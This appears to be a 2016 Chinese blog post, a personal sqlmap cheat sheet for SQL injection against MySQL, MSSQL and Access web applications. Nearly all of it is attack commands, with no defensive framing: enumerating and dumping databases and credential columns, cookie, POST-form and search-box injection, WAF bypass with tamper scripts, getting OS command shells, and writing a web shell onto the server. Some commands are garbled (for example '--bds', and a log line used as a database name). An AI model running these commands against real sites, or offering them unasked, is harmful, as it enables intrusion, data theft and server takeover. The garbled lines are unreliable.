可我浪费着我寒冷的年华

sqlmap笔记本

/*

转载请注明出处

ID:珍惜少年时

*/

相关命令
--current-user #当前数据库用户
--privileges #查看当前数据库权限
--dbms=mssql #指定数据库的类型
--os-shell #执行cmd命令
--is-dba #判断是否为dba权限

Mysql注入

sqlmap -u url --dbs #获取数据库
sqlmap -u url -D 数据库名 --tables #猜表
sqlmap -u url -D 数据库名 -T 表名 --columns #获取字段
sqlmap -u url -D 数据库名 -T 表名 -C id,user,password --dump #获取字段内容

Mssql

sqlmap -u url --dbs #获取数据库
sqlmap -u url -D 数据库名 --tables #猜表
sqlmap -u url -D 数据库名 -T 表名 --columns #获取字段
sqlmap -u url -D 数据库名 -T 表名 -C id,user,password --dump #获取字段内容

Access 注入

sqlmap -u “url” #判断是否存在注入点
sqlmap -u “url” --tables #跑表
sqlmap -u “url” --columns -T 表名 #猜字段
sqlmap -u “url” --dump -T 表名 -C 字段名1,字段名2 #猜字段内容

cookie注入

sqlmap –u “url” –cookie “id=urlid” --table –level 2 #获取表名
sqlmap –u “url” –cookie “id=urlid” --columns –T 表名 –level 2 #获取字段
sqlmap –u “url” –cookie “id=urlid” --dump –T表名 –C “字段名1,字段名2” –level 2 #获取字段内容

post登录框注入

sqlmap –u “url” –forms 自动搜索 代码参数
./sqlmap.py -u “url” –data “ftuname=1&tfupass=1”r

交互写shell及命令执行

./sqlmap.py -u “url” –os –cmd=ipconfig #搞到cmd权限
./sqlmap.py -u “url” –os –shell

伪静态注入

sqlmap -u http://www.test.com/1*.html --dbs #获取数据库
sqlmap -u http://www.test.com/1*.html -D 数据库名 --tables #猜表
sqlmap -u http://www.test.com/1*.html -D 数据库名 -T 表名 --columns #获取字段
sqlmap -u http://www.test.com/1*.html -D 数据库名 -T 表名 -C id,user,password --dump #获取字段内容

请求延时

#参数 –delay --safe-freq 3
sqlmap --dbs -u http://www.test.com/1*.html --delay 时间自定 #获取数据库
sqlmap --dbs -u http://www.test.com/1*.html --safe-freq 次数 #获取数据库

搜索框注入/搜索框post注入

● 检测是否存在注入
● 第一步:在框内提交:%'
● 返回错误即存在注入!
● 第二步:然后抓包-例如抓包数据如下
POST /CN/Search/ HTTP/1.1
Host: www.xxxxx.com
Proxy-Connection: keep-alive
Content-Length: 21
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.xxxxx.com
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.xxxxx.com/CN/Search/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDCSTSSBDB=DEBHEMHCINDPHGHHPNEBJHEO; _ga=GA1.2.186656237.1405421193; CNZZDATA3440547=cnzz_eid%3D456311074-1405421237-http%253A%252F%252Fwww.xxxxx.com%252F%26ntime%3D1405426801

KeyWords=1%25&x=0&y=0

将抓到的数据包保存为文本(目录需记住,例如我将数据包保存文本到C盘命名为1.txt)

3.>sqlmap打开

执行命令:sqlmap.py -r c:1.txt --bds -v 2 //列数据库

回车后在以后一行得到数据"shutting down at 20:24:05"

sqlmap.py -r c:1.txt --tables -D "shutting down at 20:24:05" -v 2 //列表明,假设表明为admin

sqlmap.py -r c:1.txt --columns -T "admin" -D "shutting down at 20:24:05" -v 2 //奔字段,假设字段是username和password

sqlmap.py -r c:1.txt --dump -C "username.password" -T "admin" -D "shutting down at 20:24:05" -v 2

tamper插件的使用/WAFBYPASS/Bypasswaf/waf bypass/

参数:
● batch 要求不对目标写入
● tamper 干预脚本
sqlmap.py -u "url" -v 3 --batch --tamper "base64encode.py"
注:base64encode.py 为编码,在tamper目录下。且等级必须是3级或以上。

tamper脚本下载:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/

temper脚本:
针对MYSQL:space2morehash.py space2hash.py
空格替换:space2mssqlblank.py space2mysqlblank.py、
打乱编码:charencode.py chardoubleencode.py
针对asp/asp.net:charunicodeencode.py percentage.py


file参数的使用/写入

file-write 本地路径
file-dest 网站路径
sqlmap.py -u "url" --file-write=本地shell路径 --file-dest=网站物理路径/hello.asp
注:
● 需要有dba或sa或root权限
● 路径须是正斜杠(/)

 

 SQLMAP脱裤

--dump-all  #会在系统缓存目录C:\Users\Administrator\.sqlmap\output 目录下生成XLS文件

 

 设置线程

--threads 10
某些网站有防注入保护,短时间内如果请求次数较多或短时间内请求错误页面次数较多都可能被网站屏蔽
sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs --delay 5    //间隔5秒请求一次

  

 

sqlmap怎么指定使用 https

回答:--force-ssl

 

 

待更新....

 

posted @ 2016-11-04 20:07  珍惜少年时  阅读(734)  评论(0编辑  收藏  举报
可我浪费着我寒冷的年华